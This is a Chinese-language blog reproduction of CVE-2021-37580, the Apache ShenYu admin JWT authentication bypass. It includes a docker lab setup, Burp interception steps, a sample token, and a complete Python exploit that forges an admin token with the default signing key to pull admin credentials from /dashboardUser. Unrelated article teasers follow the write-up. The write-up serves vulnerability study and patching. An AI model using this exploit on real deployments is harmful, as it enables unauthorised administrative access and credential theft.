Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
    • 漏洞利用
  • 修复建议
  • 总结

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现)

漏洞名称

漏洞描述

Apache ShenYu是一个异步的,高性能的,跨语言的,响应式的API网关,Apache ShenYu功能十分强大且易于扩展,支持各种语言的http协议,同时支持Dubbo、 Spring Cloud、 gRPC、 Motan、 Sofa、 Tars 等协议。2021年11月,Apache ShenYu被爆出存在身份认证绕过漏洞,攻击者可以通过该漏洞绕过JWT(JSON Web Token)安全认证机制,直接进入系统后台。

影响版本

Apache ShenYu 2.3.0
Apache ShenYu 2.4.0

漏洞复现

环境搭建

受害者IP:192.168.63.129:9095
攻击者IP:192.168.63.1

docker直接拉取环境

docker pull apache/shenyu-admin:2.4.0
docker network create shenyu
docker run -d -p 9095:9095 --net shenyu apache/shenyu-admin:2.4.0

环境启动后,访问http://192.168.63.129:9095即可看到一个shenyu页面,说明已成功启动,使用admin/123456登录系统。

在这里插入图片描述

漏洞利用

创建一个wahaha/wahaha,权限为default,使用刚创建的用户登录系统。

在这里插入图片描述

显示登录用户的角色未配置菜单权限

在这里插入图片描述

使用burp抓包,在响应体中返回了token。

在这里插入图片描述

更改请求路径为/dashboardUser,并在请求头加入X-Access-Token字段,成功返回admin的账户和密码。

X-Access-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IndhaGFoYSIsImV4cCI6MTcwMzE0MTE1Nn0.Y0U14VyZ0aQ32Y-YX9tz7LF3qCD_R5GPxP563BOUDEs

在这里插入图片描述

如果没有获取到普通用户的token,可以使用脚本生成admin的token,成功获取信息。

pip install PyJWT
python cve-2021-37580.py http://192.168.63.129:9095
import time
from jwt import PyJWTif __name__ == "__main__":headers = {"alg": "HS256","typ": "JWT"}salt = "2095132720951327"exp = int(time.time())payload = {"userName": 'admin',"exp": exp}token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)print(token)

sss
在这里插入图片描述

完整的EXP:

import requests
import re
import time
from jwt import PyJWTdef generateToken():headers = {"alg": "HS256","typ": "JWT"}salt = "2095132720951327"exp = int(time.time())payload = {"userName": 'admin',"exp": exp}token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)return tokenif __name__ == "__main__":import systry:url=sys.argv[1]except:print("Usage: %s http://www.baidu.com")exit(0)if isinstance(url,str):url1 = url + '/dashboardUser'headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0','X-Access-Token': generateToken()}try:response = requests.get(url1, headers=headers, verify=False, timeout=3).json()print(response)except:print("没有该漏洞")

修复建议

1、升级至最新版本

https://shenyu.apache.org/download/

总结

payload的意思是使用了一个JWT令牌(X-Access-Token),对其进行Base64解码可得到攻击者尝试的用户为 "userName": "admin"。由于服务端在使用JWT的时候,也没有校验key,导致任意能解码的JWT,并且只要用户(userName的值)存在,都能通过校验。如果攻击成功,在响应头中返回的状态码为200,且在响应体中返回"query success"、"userName":""、"passwprd":""字样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/240817.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot3-基础特性

文章目录 自定义 banner自定义 SpringApplicationFluentBuilder APIProfiles指定环境环境激活环境包含Profile 分组Profile 配置文件 外部化配置配置优先级 外部配置导入配置属性占位符 单元测试-JUnit5测试组件测试注解断言嵌套测试参数化测试 自定义 banner banner 就是启动…

机场信息集成系统系列介绍(7):机场航班信息显示系统FIDS

目录 一、简介 二、架构及相关功能 1、实时更新和显示航班信息 2、多屏显示与查询 3、提供登机口导航信息 4、发布机场公告 5、集成机场的其他延伸服务 6、支持多语言显示 7、监控与故障处理 8、数据分析与优化 9、与航空公司、地面代理的信息交互 10、安全保障与应…

【开源CDP】市场增长未来的探索,开源CDP带来的技术崛起与变革

数字化趋势之下,数据成了企业竞争的核心资源,不管是公域还是私域,网络俨然成了品牌打响市场的一线战场,然而,在这场数字战役里,许多企业不得不面临一个共同问题:数据零散、分散、平台众多、无法…

【华为OD机试真题2023CD卷 JAVAJS】多段线数据压缩

华为OD2023(C&D卷)机试题库全覆盖,刷题指南点这里 多段线数据压缩 知识点数组栈递归矩阵循环 时间限制:1s 空间限制:256MB 限定语言:不限 题目描述: 下图中,每个方块代表一个像素,每个像素用其行号和列号表示。 为简化处理,多段线的走向只能是水平、竖直、斜向45…

GPT2代码运行,个人文本生成助手,不依赖OpenAI API调用

0.前言: 感觉GPT很好玩,所以想要有个自己搭建GPT的写法,不依赖于OpenAI,需要翻墙太麻烦了,近日日本已经结合GPT4和机器,可以让他吓人,做出丰富的表情,如果自己训练的话,会塑造出什么样的机器人尚未可知…抱着好奇的心态,去github openai下载了个gpt2的模型来玩玩(其中遇到了许多…

Android 使用Serialiable接口和Parcelable接口进行数据传送

一、前言 这篇文章主要针对Serialiable和Parcelable接口来传递对象。呈现的功能是跳转到另一个界面,然后通过toast展现我收到的数据。 二、使用Serialiable接口传递数据 1.创建需要传递的对象 //必须实现Serializable接口,此对象才有传递的资格 publ…

开发薅羊毛之路

免费云存储 云存储条件免费权益链接 七牛 账号实名10G存储10G流量点击前往又拍云账号实名底部标识10G存储15G流量点击前往多吉云账号实名20G存储10G流量点击前往QingCloud账号实名10G存储20G流量点击前往

2016年第五届数学建模国际赛小美赛C题对超级细菌的战争解题全过程文档及程序

2016年第五届数学建模国际赛小美赛 C题 对超级细菌的战争 原题再现: 最近有很多关于我们抗生素耐药性危机的讨论。进化出的能够抵抗抗生素的细菌每年杀死70万人,越来越强大的细菌正在世界各地传播。研究人员担心,我们将进入一个后抗生素时代…

【Sass】网易云动画播放器

简介 仿网易云播放动画 效果图 sass src/assets/style/musicPlay.sass // TODO 音乐播放器动画 // ? 动画停止class >>> .muscic-play-stop // HTML结构 // <div class"music-play"> // <div class"bg-primary"></div>…

[字符编码]windwos下使用libiconv转换编码格式(二)

在http://t.csdnimg.cn/PLUuz笔记中实现了常用编码格式转换的功能,但这还是一个demo。因为代码中向libiconv库函数传递的字符串是存放在堆空间中的(我也是从网上找例子测试,是否一定要开辟堆空间存放还有待考证),如果一次性转换的字节数很巨大的话,就会导致内存空间不足,进而引…

安捷伦Agilent 8720ES网络分析仪

Agilent安捷伦8720ES S-参数矢量网络分析仪 50MHz至20GHz 100 dB 的动态范围 优异的测量精度 2个测量通道 4个显示通道 频率和功率扫描 快扫描和数据传输速度 通过/失败测试&#xff0c;强大的标记功能 电校准&#xff08;ECal&#xff09; 内部使用测试序列的自动化 可选时域…

当物联网技术遇上圣诞节,会给你带来怎样的商业灵感

智能物联网项目可以将更浓烈的节日气氛融入到千家万户。有市场嗅觉的朋友已经踏上了这种创新与传统相遇的旅程&#xff0c;你可以参考一下他们的点子。 物联网智能照明 借助物联网技术&#xff0c;你可以创建一个智能照明系统&#xff0c;让每一束灯光闪烁出美妙的色彩或图案…

正则表达式与bs4选择器筛选论文数准确率之比较

一、正则爬取论文网首页论文标题的示例 import requests import re from bs4 import BeautifulSoupheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36}def get_html(url):try:res…

4种常见的数据库索引

数据库索引是优化数据库系统性能的关键组成部分。如果没有有效的索引&#xff0c;查询可能会变得缓慢且低效&#xff0c;从而导致用户体验不佳并降低生产力。在这篇文章中&#xff0c;我们将探讨创建和使用数据库索引的一些最佳实践。 常见的索引算法有&#xff1a; 1. B-Tree…

Hadoop入门学习笔记——二、在虚拟机里部署HDFS集群

视频课程地址&#xff1a;https://www.bilibili.com/video/BV1WY4y197g7 课程资料链接&#xff1a;https://pan.baidu.com/s/15KpnWeKpvExpKmOC8xjmtQ?pwd5ay8 Hadoop入门学习笔记&#xff08;汇总&#xff09; 目录 二、在虚拟机里部署HDFS集群2.1. 部署node1虚拟机2.2. 部…

【Angular】Angular中的最差实践

自我介绍 做一个简单介绍&#xff0c;酒架年近48 &#xff0c;有20多年IT工作经历&#xff0c;目前在一家500强做企业架构&#xff0e;因为工作需要&#xff0c;另外也因为兴趣涉猎比较广&#xff0c;为了自己学习建立了三个博客&#xff0c;分别是【全球IT瞭望】&#xff0c;【…

GSON 泛型对象反序列化解决方案

Gson 是一个用于在 Java 对象和 JSON 数据之间进行序列化和反序列化的开源库。它由 Google 开发并提供支持。Gson 的名称是 “Google JSON” 的缩写。 Gson 提供了简单而强大的 API&#xff0c;可以轻松地将 Java 对象转换为 JSON 字符串&#xff0c;并将 JSON 字符串转换回 …

【数据结构入门精讲 | 第十六篇】并查集知识点及考研408、企业面试练习

上一篇中我们进行了散列表的相关练习&#xff0c;在这一篇中我们要学习的是并查集。 目录 概念伪代码选择题填空题编程题7-1 朋友圈R7-1 笛卡尔树R7-2 部落R7-3 秀恩爱分得快 在许多实际应用场景中&#xff0c;我们需要对元素进行分组&#xff0c;并且在这些分组中进行查询和修…

常用Python自动化测试框架有哪些?优缺点对比

随着技术的进步和自动化技术的出现&#xff0c;市面上出现了一些自动化测试框架。只需要进行一些适用性和效率参数的调整&#xff0c;这些自动化测试框架就能够开箱即用&#xff0c;大大节省了测试时间。而且由于这些框架被广泛使用&#xff0c;他们具有很好的健壮性&#xff0…

勒索病毒最新变种._locked勒索病毒来袭,如何恢复受感染的数据?

导言&#xff1a; _locked勒索病毒&#xff0c;如同黑暗中的毒蛇&#xff0c;突然袭击&#xff0c;将你珍贵的数据缠绕在数字的牢笼中。这种病毒通过电子邮件、恶意链接或经过精心设计的感染途径迅速传播&#xff0c;使你的文件变得无法辨认。而后&#xff0c;犯罪分子以比特币…